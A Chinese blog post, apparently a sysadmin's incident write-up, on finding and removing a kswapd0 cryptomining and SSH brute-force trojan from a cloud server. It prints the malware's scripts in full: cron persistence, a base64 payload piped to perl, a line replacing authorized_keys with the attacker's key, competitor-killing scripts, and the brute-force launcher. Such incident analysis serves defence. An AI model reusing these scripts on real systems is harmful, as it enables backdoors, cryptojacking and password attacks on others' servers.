偽裝為kswapd0進程的挖礦木馬

一抄肖、起因

騰訊云給我發(fā)了幾封郵件說我的服務器被木馬攻擊。


image.png

我打開服務器監(jiān)控一看,閑置的服務器CPU飆升比规。


image.png

二、排查

2.1 首先查詢CPU占用最多的3個進程

查使用內存最多的K個進程

方式一:ps -aux | sort -k3nr | head -K

image.png

sort參數說明:
|選項 |說明
|—————|—————————————————————————
|-n |依照數值的大小排序拦英,不加-n按字符串大小排序
|-r |以相反的順序來排序
|-t |設置排序時所用的分隔字符
|-k |指定需要排序的列
|-u |去重

方式二:輸入 top 苞俘, 然后輸入大寫P(輸入大寫M是按內存倒排)

image.png

最終發(fā)現是kswapd0進程在作亂。

2.2 排查kswapd0進程

2.2.1 執(zhí)行命令netstat -antlp | grep kswapd0 查詢該進程的網絡信息

[root@VM-0-13-centos etc]# netstat -antlp | grep kswapd0
tcp        0      0 172.17.0.13:55402       45.9.148.129:80         ESTABLISHED 31036/./kswapd0

發(fā)現一個與本機端口通信的是一個荷蘭的ip龄章。


2.2.2 執(zhí)行命令netstat -antlp | grep 45.9.148 查詢該地區(qū)ip的其他網絡占用情況

[root@VM-0-13-centos etc]# netstat -antlp | grep 45.9.148
tcp        0      1 172.17.0.13:47182       45.9.148.99:443         SYN_SENT    31000/rsync         
tcp        0      0 172.17.0.13:55402       45.9.148.129:80         ESTABLISHED 31036/./kswapd0

發(fā)現還有一個rsync進程在工作。

執(zhí)行 ps -ef | grep 31000

[root@VM-0-13-centos etc]# ps -ef | grep 31000
root     20734 28364  0 16:22 pts/1    00:00:00 grep --color=auto 31000
cj       31000     1  0 14:20 ?        00:00:00 rsync

確實有這個rsync進程在工作乞封。


2.2.3 查找進程的詳細信息

我們來到/proc/目錄下查找對應的pid號做裙,即/proc/31000和/proc/31036∷嗤恚可以在這兩個目錄下找到rsync進程和kswapd0進程的詳細信息锚贱。

找到啟動的腳本如下:

/proc/31000/exe -> /usr/bin/perl
/proc/31036/exe -> /tmp/.X25-unix/.rsync/a/kswapd0

其實應該看看cmdline文件的,但是已經被我刪了关串。

/proc/pid/cmdline 進程啟動命令
/proc/pid/cwd 鏈接到進程當前工作目錄
/proc/pid/environ 進程環(huán)境變量列表
/proc/pid/exe 鏈接到進程的執(zhí)行命令文件
/proc/pid/fd 包含進程相關的所有的文件描述符
/proc/pid/maps 與進程相關的內存映射信息
/proc/pid/mem 指代進程持有的內存,不可讀
/proc/pid/root 鏈接到進程的根目錄
/proc/pid/stat 進程的狀態(tài)
/proc/pid/statm 進程使用的內存的狀態(tài)
/proc/pid/status 進程狀態(tài)信息,比stat/statm更具可讀性
/proc/self 鏈接到當前正在運行的進程


2.2.4 在cj用戶下查看定時任務 crontab -l

[cj@VM-0-13-centos ~]$ crontab -l
1 1 */2 * * /home/cj/.configrc/a/upd>/dev/null 2>&1
@reboot /home/cj/.configrc/a/upd>/dev/null 2>&1
5 8 * * 0 /home/cj/.configrc/b/sync>/dev/null 2>&1
@reboot /home/cj/.configrc/b/sync>/dev/null 2>&1  
0 0 */3 * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1

還給我起了好多定時啟動和重啟啟動的腳本拧廊。

2.2.4.1 查看 /home/cj/.configrc/a/ 目錄

看一下upd腳本

#!/bin/sh
cd /home/cj/.configrc/a
  if test -r /home/cj/.configrc/a/bash.pid; then
    pid=$(cat /home/cj/.configrc/a/bash.pid)
    if $(kill -CHLD $pid >/dev/null 2>&1); then
      exit 0
  fi
fi
./run &>/dev/null

在腳本中檢查了bash.pid是否存在且可讀,如果存在讀取該pid并殺死進程晋修,如果殺死成功吧碾,則退出腳本,否則執(zhí)行run腳本墓卦;
bash.pid文件作用:1. pid文件的內容:pid文件為文本文件倦春,內容只有一行, 記錄了該進程的ID。用cat命令可以看到落剪。2. pid文件的作用:防止進程啟動多個副本睁本。只有獲得pid文件(固定路徑固定文件名)寫入權限(F_WRLCK)的進程才能正常啟動并把自身的PID寫入該文件中。其它同一個程序的多余進程則自動退出忠怖。



查看下run腳本

#!/bin/bash
./stop
./init0
sleep 10
pwd > dir.dir
dir=$(cat dir.dir)
ARCH=`uname -m`
        if [ "$ARCH" == "i686" ]; then
                nohup ./anacron >>/dev/null &
        elif [ "$ARCH" == "x86_64" ];   then
                ./kswapd0
        fi
echo $! > bash.pid

如果硬件類型是“i686”的話呢堰,就啟動./anacron腳本;如果是“x86_64”的話凡泣,就啟動萬惡的kswapd0腳本枉疼。

查看下kswapd0腳本


額,打不開鞋拟,有大佬指點一下嗎往衷?

2.2.4.2 查看 /home/cj/.configrc/b/ 目錄

查看sync腳本

#!/bin/sh
cd /home/cj/.configrc/b
./run

直接調用run腳本。

查看run腳本

#!/bin/sh
nohup ./stop>>/dev/null &
sleep 5
echo "yw5Ik......RPKjIhWyJCYEAAPzBJXX0=" | base64 --decode | perl
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAB......3K+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh

原文件字符長度有4w多字严卖,都是一些密鑰信息席舍,將不重要的密鑰信息刪減了大半。該腳本主要就是將公鑰寫到.ssh文件中哮笆,然后就可以控制計算機了来颤。


三汰扭、解決

  1. crontab -e刪除木馬創(chuàng)建的定時任務。包括/var/spool/cron和/etc/cron.d目錄下的定時任務文件也要排查一下福铅。
  2. 刪除所有木馬創(chuàng)建的文件萝毛。主要是/tmp/.X25-unix/,cj/.configrc文件和被篡改的.ssh文件滑黔。(見<第五章>)
  3. 殺死木馬創(chuàng)建的所有進程笆包。(見 <第五章>)

如果該用戶不重要,保險起見可以直接刪除用戶略荡。
查詢所有用戶

cat /etc/passwd|grep -v nologin|grep -v halt|grep -v shutdown|awk -F":" '{ print $1"|"$3"|"$4 }'|more

刪除用戶及其對應的文件夾

userdel -r cj


四庵佣、分析原因

發(fā)現程序是跑在cj用戶名下的,那就是我創(chuàng)建的普通用戶cj的密碼太簡單了汛兜。最好還是使用密鑰進行登陸巴粪,密碼就那么幾位,不保險粥谬。

但是為什么會知道我創(chuàng)建的用戶名呢肛根,想不明白。破解root用戶不是更方便嗎漏策?

想起之前的一次Elasticsearch被攻擊:部署的ELK集群派哲,用于日志的采集和存儲。但是發(fā)現每隔幾天就會丟失數據掺喻,但是并沒有人去刪除這些日志狮辽,后來發(fā)現是被攻擊了,Meow攻擊使用自動腳本掃描開放的不安全的 Elasticsearch 和 MongoDB 數據庫巢寡,找到之后直接將其刪除喉脖。


五、總結

因為侵入的是我的普通用戶cj抑月,該用戶下我沒有進行過任何操作且該用戶沒有sudo權限树叽。所以只要是cj用戶下的進程都是挖礦的。

木馬啟動的所有進程

cj       31000     1  0 14:20 ?        00:00:00 rsync
cj       31036     1 67 14:21 ?        01:37:01 ./kswapd0
cj       31328     1  0 14:22 ?        00:00:00 /bin/bash ./go
cj       31388 31328  0 14:22 ?        00:00:00 timeout 9h ./tsm -t 535 -f 1 -s 12 -S 9 -p 0 -d 1 p ip
cj       31389 31388  0 14:22 ?        00:00:00 /bin/bash ./tsm -t 535 -f 1 -s 12 -S 9 -p 0 -d 1 p ip
cj       31394 31389 27 14:22 ?        00:38:23 /tmp/.X25-unix/.rsync/c/lib/64/tsm --library-path /tmp/.X25-unix/.rsync/c/lib/64/ /usr/sbin/httpd rsync/c/tsm64 -t 535 -f 1 -s 12 -S 9 -p 0 -d 1 p ip

kswapd0是挖礦程序谦絮,tsm是爆破程序题诵。挖礦和爆破程序像病毒一樣蔓延開來。


木馬啟動的所有定時任務

[cj@VM-0-13-centos ~]$ crontab -l
1 1 */2 * * /home/cj/.configrc/a/upd>/dev/null 2>&1
@reboot /home/cj/.configrc/a/upd>/dev/null 2>&1
5 8 * * 0 /home/cj/.configrc/b/sync>/dev/null 2>&1
@reboot /home/cj/.configrc/b/sync>/dev/null 2>&1  
0 0 */3 * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1


木馬創(chuàng)建的所有文件

寫了一個腳本來查詢cj用戶的所有文件层皱,腳本如下
vim /root/searchfile.sh

#!/bin/bash
if [ $1 ];then
  search_path=$1
else
  echo "ERROR: SEARCH_PATH LOSED! "
  exit 0
fi

if [ $2 ];then
  user=$2
else
  user=cj
fi

if [ $3 ];then
  target_path=$3
else
  target_path=/root/cjfile
fi

echo "" >> $target_path
echo "" >> $target_path
echo "------- $(date) ------" >> $target_path

search_user_file(){
  # get absolute path
  local DIRNAME=`cd $(dirname $1);pwd`
  local BASENAME=`basename $1`
  local init_path=$DIRNAME/$BASENAME
  echo "enter path => $init_path"

  #files=`ls -al $1 | awk -v user=$user -v dirs="" 'NF==9&&$9!="."&&$9!=".."&&$3==user{dirs=dirs" "$9} END{print dirs}'`
  local files=`ls -al $1 | awk -v user=$user -v dirs="" 'NF==9&&$9!="."&&$9!=".."{dirs=dirs" "$9} END{print dirs}'`

  echo "file => $files"

  if !(test -z "$files" );then
      
    for dir in $files;do
      local path=$init_path/$dir
      #echo $path
      if [ -d $path ];then
        search_user_file $path $2 $3  
      else
        local owner=`ls -l $path | awk '{print $3}'`
    #echo "------------------owner : $owner ------------------"
        if [ $owner = $2 ];then
          echo $path >> $3
        fi
      fi
    done

  fi
}

search_user_file $search_path $user $target_path

腳本目錄下執(zhí)行./searchfile.sh /性锭,跑了十幾分鐘
得到木馬創(chuàng)建的所有文件如下

------- Wed May 19 15:03:39 CST 2021 ------
/home/cj/.bash_history
/home/cj/.bash_logout
/home/cj/.bash_profile
/home/cj/.bashrc
/home/cj/.cache/abrt/lastnotification
/home/cj/.configrc/a/a
/home/cj/.configrc/a/bash.pid
/home/cj/.configrc/a/dir.dir
/home/cj/.configrc/a/init0
/home/cj/.configrc/a/kswapd0
/home/cj/.configrc/a/.procs
/home/cj/.configrc/a/run
/home/cj/.configrc/a/stop
/home/cj/.configrc/a/upd
/home/cj/.configrc/b/a
/home/cj/.configrc/b/dir.dir
/home/cj/.configrc/b/run
/home/cj/.configrc/b/stop
/home/cj/.configrc/b/sync
/home/cj/.configrc/dir2.dir
/home/cj/.ssh/authorized_keys
/home/cj/.viminfo
/tmp/.X25-unix/dota3.tar.gz
/tmp/.X25-unix/.rsync/1
/tmp/.X25-unix/.rsync/a/a
/tmp/.X25-unix/.rsync/a/init0
/tmp/.X25-unix/.rsync/a/kswapd0
/tmp/.X25-unix/.rsync/a/run
/tmp/.X25-unix/.rsync/a/stop
/tmp/.X25-unix/.rsync/b/a
/tmp/.X25-unix/.rsync/b/run
/tmp/.X25-unix/.rsync/b/stop
/tmp/.X25-unix/.rsync/c/1
/tmp/.X25-unix/.rsync/c/a
/tmp/.X25-unix/.rsync/c/aptitude
/tmp/.X25-unix/.rsync/c/dir.dir
/tmp/.X25-unix/.rsync/c/go
/tmp/.X25-unix/.rsync/c/golan
/tmp/.X25-unix/.rsync/c/lib/32/libc.so.6
/tmp/.X25-unix/.rsync/c/lib/32/libdl.so.2
/tmp/.X25-unix/.rsync/c/lib/32/libnss_dns.so.2
/tmp/.X25-unix/.rsync/c/lib/32/libnss_files.so.2
/tmp/.X25-unix/.rsync/c/lib/32/libpthread.so.0
/tmp/.X25-unix/.rsync/c/lib/32/libresolv-2.23.so
/tmp/.X25-unix/.rsync/c/lib/32/libresolv.so.2
/tmp/.X25-unix/.rsync/c/lib/32/tsm
/tmp/.X25-unix/.rsync/c/lib/64/libc.so.6
/tmp/.X25-unix/.rsync/c/lib/64/libdl.so.2
/tmp/.X25-unix/.rsync/c/lib/64/libnss_dns.so.2
/tmp/.X25-unix/.rsync/c/lib/64/libnss_files.so.2
/tmp/.X25-unix/.rsync/c/lib/64/libpthread.so.0
/tmp/.X25-unix/.rsync/c/lib/64/libresolv-2.23.so
/tmp/.X25-unix/.rsync/c/lib/64/libresolv.so.2
/tmp/.X25-unix/.rsync/c/lib/64/tsm
/tmp/.X25-unix/.rsync/c/n
/tmp/.X25-unix/.rsync/c/run
/tmp/.X25-unix/.rsync/c/scan.log
/tmp/.X25-unix/.rsync/c/slow
/tmp/.X25-unix/.rsync/c/start
/tmp/.X25-unix/.rsync/c/stop
/tmp/.X25-unix/.rsync/c/tsm
/tmp/.X25-unix/.rsync/c/tsm32
/tmp/.X25-unix/.rsync/c/tsm64
/tmp/.X25-unix/.rsync/c/v
/tmp/.X25-unix/.rsync/c/watchdog
/tmp/.X25-unix/.rsync/dir.dir
/tmp/.X25-unix/.rsync/init
/tmp/.X25-unix/.rsync/init2
/tmp/.X25-unix/.rsync/initall
/tmp/.X25-unix/.rsync/.out
/tmp/up.txt
/var/spool/cron/cj
/var/spool/mail/cj
/var/tmp/.systemcache436621

a目錄下存放shellbot后門,b目錄下存放挖礦木馬叫胖,c目錄下存放SSH爆破攻擊程序草冈。


查看歷史命令和登陸

執(zhí)行history查看歷史命令
發(fā)現所有的歷史命令都沒有了,可能是腳本已經自動清除了。

執(zhí)行last查看近期登錄的帳戶記錄
發(fā)現沒有cj登陸記錄怎棱,應該也被清除了哩俭。

執(zhí)行/var/log/secure|grep 'Accepted'查看成功登錄的ip

[root@VM-0-13-centos tmp]# less /var/log/secure|grep 'Accepted'
May 18 13:57:27 VM-0-13-centos sshd[24567]: Accepted password for cj from 42.192.205.184 port 33090 ssh2

發(fā)現了42.192.205.184這個IP在下午13:57:27成功登錄了這個云,這個時間和up.txt文件創(chuàng)建的時間相同拳恋。那就是這個IP破解了我的密碼凡资,IP地址在上海∶耍可能也是被木馬黑掉的服務器吧隙赁。

國外的服務器延遲高,但是帶寬大梆暖,國內的帶寬小伞访,但是延遲低。傳輸需要大帶寬式廷,破解需要小延遲,所以想想這么配置很合理芭挽。


六滑废、腳本執(zhí)行順序

6.1 /home/cj/.configrc/a/下的腳本

Install

#!/bin/sh
rm -rf /tmp/.FILE
rm -rf /tmp/.FILE*
rm -rf /dev/shm/.FILE*
rm -rf /dev/shm/.FILE
rm -rf /var/tmp/.FILE
rm -rf /var/tmp/.FILE*
rm -rf /tmp/nu.sh
rm -rf /tmp/nu.*
rm -rf /dev/shm/nu.sh
rm -rf /dev/shm/nu.*
rm -rf /tmp/.F*
rm -rf /tmp/.x*
rm -rf /tmp/tdd.sh

pkill -9 go> .out
pkill -9 run> .out
pkill -9 tsm> .out
kill -9 `ps x|grep run|grep -v grep|awk '{print $1}'`> .out
kill -9 `ps x|grep go|grep -v grep|awk '{print $1}'`> .out
kill -9 `ps x|grep tsm|grep -v grep|awk '{print $1}'`> .out

killall -9 xmrig
killall -9 ld-linux
kill -9 `ps x|grep xmrig|grep -v grep|awk '{print $1}'`
kill -9 `ps x|grep ld-linux|grep -v grep|awk '{print $1}'`
cat init | bash

sleep 10
cd ~
pwd > dir.dir
dir=$(cat dir.dir)
if [ -d "$dir/.bashtemprc2" ]; then
    exit 0
else
    cat init2 | bash
fi
exit 0

執(zhí)行dota/.rsync/initall,Install做一些清理準備工作后袜爪,執(zhí)行init功能蠕趁。

Init

pkill -9 go> .out
pkill -9 run> .out
pkill -9 tsm> .out
kill -9 `ps x|grep run|grep -v grep|awk '{print $1}'`> .out
kill -9 `ps x|grep go|grep -v grep|awk '{print $1}'`> .out
kill -9 `ps x|grep tsm|grep -v grep|awk '{print $1}'`> .out

pwd > dir.dir
dir=$(cat dir.dir)
cd $dir
chmod 777 *

rm -rf cron.d
rm -rf ~/.nullcach*
rm -rf ~/.firefoxcatch*
rm -rf ~/.bashtem*
rm -rf ~/.configrc*
mkdir ~/.configrc
cp -r a ~/.configrc/
cp -r b ~/.configrc/

cd ~/.configrc/a/
nohup ./init0 >> /dev/null &
sleep 5s
nohup ./a >>/dev/null &
cd ~/.configrc/b/
nohup ./a >>/dev/null &

cd $dir
cd c
nohup ./start >>/dev/null &
cd ~/.configrc/
pwd > dir2.dir
dir2=$(cat dir2.dir)

echo "1 1 */2 * * $dir2/a/upd>/dev/null 2>&1
@reboot $dir2/a/upd>/dev/null 2>&1
5 8 * * 0 $dir2/b/sync>/dev/null 2>&1
@reboot $dir2/b/sync>/dev/null 2>&1  
0 0 */3 * * $dir/c/aptitude>/dev/null 2>&1" >> cron.d

sleep 3s

rm -rf ~/ps
rm -rf ~/ps.*

crontab cron.d
crontab -l

Init中清理自身挖礦進程,寫入定時任務



接著執(zhí)行dota/.rsync/a/a辛馆,a腳本執(zhí)行init0俺陋,就如注釋所言,殺死加密礦工的腳本昙篙,結束競品的shell程序腊状,挖礦程序啟動后會結束大部分挖礦軟件的進程,并刪除其他挖礦軟件相關文件,獨占資源苔可。
init0

#!/bin/sh

##########################################################################################\
### A script for killing cryptocurrecncy miners in a Linux enviornment
### Provided with zero liability (!)
###
### Some of the malware used as sources for this tool:
### https://pastebin.com/pxc1sXYZ
### https://pastebin.com/jRerGP1u
### SHA256: 2e3e8f980fde5757248e1c72ab8857eb2aea9ef4a37517261a1b013e3dc9e3c4
##########################################################################################\

# Killing processes by name, path, arguments and CPU utilization
processes(){
    killme() {
      killall -9 chron-34e2fg;ps wx|awk '/34e|r\/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null &
    }

    killa() {
    what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null&
    }

    killa 34e2fg
    killme
    
    # Killing big CPU
    VAR=$(ps uwx|awk '{print $2":"$3}'| grep -v CPU)
    for word in $VAR
    do
      CPUUSAGE=$(echo $word|awk -F":" '{print $2}'|awk -F"." '{ print $1}')
      if [ $CPUUSAGE -gt 45 ]; then echo BIG $word; PID=$(echo $word | awk -F":" '{print $1'});LINE=$(ps uwx | grep $PID);COUNT=$(echo $LINE| grep -P "er/v5|34e2|Xtmp|wf32N4|moy5Me|ssh"|wc -l);if [ $COUNT -eq 0 ]; then echo KILLING $line; fi;kill $PID;fi;
    done

    killall \.Historys
    killall \.sshd
    killall neptune
    killall xm64
    killall xm32
    killall ld-linux
    killall xmrig
    killall \.xmrig
    killall suppoieup

    pkill -f sourplum
    pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
    
    ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "119.9.76.107:443"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "ld-linux" | awk '{print $2}'|xargs kill -9

    ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
    ps auxf|grep Donald| awk '{print $2}'|xargs kill -9
    ps auxf|grep Macron| awk '{print $2}'|xargs kill -9
    ps auxf|grep ld-linux| awk '{print $2}'|xargs kill -9

    ps auxf|grep named| awk '{print $2}'|xargs kill -9
    ps auxf|grep kernelcfg| awk '{print $2}'|xargs kill -9
    ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
    ps auxf|grep kernelupgrade| awk '{print $2}'|xargs kill -9
    ps auxf|grep kernelorg| awk '{print $2}'|xargs kill -9
    ps auxf|grep kernelupdates| awk '{print $2}'|xargs kill -9

    ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
    ps ax|grep -o './[0-9]* -c'| xargs pkill -f

    pkill -f /usr/bin/.sshd
    pkill -f acpid
    pkill -f Donald
    pkill -f Macron
    pkill -f AnXqV.yam
    pkill -f apaceha
    pkill -f askdljlqw
    pkill -f bashe
    pkill -f bashf
    pkill -f bashg
    pkill -f bashh
    pkill -f bashx
    pkill -f BI5zj
    pkill -f biosetjenkins
    pkill -f bonn.sh
    pkill -f bonns
    pkill -f conn.sh
    pkill -f conns
    pkill -f cryptonight
    pkill -f crypto-pool
    pkill -f ddg.2011
    pkill -f deamon
    pkill -f disk_genius
    pkill -f donns
    pkill -f Duck.sh
    pkill -f gddr
    pkill -f Guard.sh
    pkill -f i586
    pkill -f icb5o
    pkill -f ir29xc1
    pkill -f irqba2anc1
    pkill -f irqba5xnc1
    pkill -f irqbalanc1
    pkill -f irqbalance
    pkill -f irqbnc1
    pkill -f JnKihGjn
    pkill -f jweri
    pkill -f kw.sh
    pkill -f kworker34
    pkill -f kxjd
    pkill -f libapache
    pkill -f Loopback
    pkill -f lx26
    pkill -f mgwsl
    pkill -f minerd
    pkill -f minergate
    pkill -f minexmr
    pkill -f mixnerdx
    pkill -f mstxmr
    pkill -f nanoWatch
    pkill -f nopxi
    pkill -f NXLAi
    pkill -f performedl
    pkill -f polkitd
    pkill -f pro.sh
    pkill -f pythno
    pkill -f qW3xT.2
    pkill -f sourplum
    pkill -f stratum
    pkill -f sustes
    pkill -f wnTKYg
    pkill -f XbashY
    pkill -f XJnRj
    pkill -f xmrig
    pkill -f xmrigDaemon
    pkill -f xmrigMiner
    pkill -f ysaydh
    pkill -f zigw
    pkill -f ld-linux
    
    # crond
    ps ax | grep crond | grep -v grep | awk '{print $1}' > /tmp/crondpid
    while read crondpid
    do
        if [ $(echo  $(ps -p $crondpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
        then
            kill $crondpid
            rm -rf /var/tmp/v3
        fi
    done < /tmp/crondpid
    rm /tmp/crondpid -f
     
    # sshd
    ps ax | grep sshd | grep -v grep | awk '{print $1}' > /tmp/ssdpid
    while read sshdpid
    do
        if [ $(echo  $(ps -p $sshdpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
        then
            kill $sshdpid
        fi
    done < /tmp/ssdpid
    rm -f /tmp/ssdpid

    # syslog
    ps ax | grep syslogs | grep -v grep | awk '{print $1}' > /tmp/syslogspid
    while read syslogpid
    do
        if [ $(echo  $(ps -p $syslogpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
        then
            kill  $syslogpid
        fi
    done < /tmp/syslogspid
    rm /tmp/syslogspid -f

        ps x | grep 'b 22'| awk '{print $1,$5}' > .procs

        cat .procs | while read line
        do

        pid=`echo $line | awk '{print $1;}'`
        name=`echo $line | awk '{print $2;}'`
        #echo $pid $name 

        if [ $(echo $name | wc -c) -lt "13" ]
            then
            echo "Found" $pid $name
            kill -9 $pid
        fi
        done

        ####################################################


        ps x | grep 'd 22'| awk '{print $1,$5}' > .procs

        cat .procs | while read line
        do

        pid=`echo $line | awk '{print $1;}'`
        name=`echo $line | awk '{print $2;}'`
        #echo $pid $name 

        if [ $(echo $name | wc -c) -lt "13" ]
            then
            echo "Found" $pid $name
            kill -9 $pid
        fi
        done

}


# Removing miners by known path IOC
files(){
    rm /tmp/.cron
    rm /tmp/Donald*
    rm /tmp/Macron*
    rm /tmp/.main
    rm /tmp/.yam* -rf
    rm -f /tmp/irq
    rm -f /tmp/irq.sh
    rm -f /tmp/irqbalanc1
    rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
    rm -rf /tmp/*httpd.conf
    rm -rf /tmp/*httpd.conf*
    rm -rf /tmp/*index_bak*
    rm -rf /tmp/.systemd-private-*
    rm -rf /tmp/.xm*
    rm -rf /tmp/a7b104c270
    rm -rf /tmp/conn
    rm -rf /tmp/conns
    rm -rf /tmp/httpd.conf
    rm -rf /tmp/java*
    rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json /var/tmp/kworkerds /var/tmp/config.json /usr/local/lib/libjdk.so
    rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
    rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
    rm -rf /tmp/xm*
    rm -rf /var/tmp/java*
}

# Killing and blocking miners by network related IOC
network(){
    # Kill by known ports/IPs
    netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep 119.9.76.107 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :23 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :143 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :2222 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :3389 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :6665 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :6667 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :8444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
}   

files
processes
network
echo "DONE"

然后判斷平臺類型缴挖,如果是"i686"就執(zhí)行anacron,anacron是基于xmrig2.14修改的linux平臺挖礦木馬焚辅;如果是x86_64就啟動./kswapd0映屋。

然后執(zhí)行dota/.rsync/b/a,b/a最終執(zhí)行ps同蜻,ps是上面講的ssh后門服務端棚点,方便黑客遠程免密ssh登錄。

接著執(zhí)行c目錄的start湾蔓,聯網下載要爆破的服務器地址瘫析,端口,以及一些字典。

#!/bin/sh
pwd > dir.dir
dir=$(cat dir.dir)
cd $dir
chmod 777 *
rm -rf n
echo "1">n

echo "#!/bin/sh
cd $dir
./run &>/dev/null" > aptitude
chmod u+x aptitude
chmod 777 *
./aptitude >> /dev/null &

exit 0

一直追下去颁股,發(fā)現在go腳本中啟動了tsm腳本么库,執(zhí)行目錄下的tsm傳入要爆破的IP和字典

#!/bin/bash
dir=`pwd`
cd $dir

threads=535

ARCH=`uname -m`
if [[ "$ARCH" =~ ^arm ]]; then
    threads=75
fi



        while :
        do
        touch v
        rm -rf p
        rm -rf ip
        rm -rf xtr*
        rm -rf a a.*
        rm -rf b b.*
        
        sleep $[ ( $RANDOM % 30 )  + 1 ]s
        timeout 9h ./tsm -t $threads -f 1 -s 12 -S 9 -p 0 -d 1 p ip

        sleep 3
        rm -rf xtr*
        rm -rf ip
        rm -rf p
        rm -rf .out
        rm -rf /tmp/t*
        done
exit 0

tsm腳本

#!/bin/bash
SCRIPT_PATH=$(dirname $(readlink -f $0))
ARCH=`uname -m`
if [ "$ARCH" == "i686" ]; then
    $SCRIPT_PATH/lib/32/tsm --library-path $SCRIPT_PATH/lib/32/ $SCRIPT_PATH/tsm32 $*
elif [ "$ARCH" == "x86_64" ];   then        
    $SCRIPT_PATH/lib/64/tsm --library-path $SCRIPT_PATH/lib/64/ $SCRIPT_PATH/tsm64 $*
fi


參考

騰訊官方分析 https://www.freebuf.com/articles/network/205384.html
問題排查https://cloud.tencent.com/document/product/296/9604

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
禁止轉載,如需轉載請通過簡信或評論聯系作者甘有。
  • 序言:七十年代末诉儒,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子亏掀,更是在濱河造成了極大的恐慌忱反,老刑警劉巖,帶你破解...
    沈念sama閱讀 218,858評論 6 508
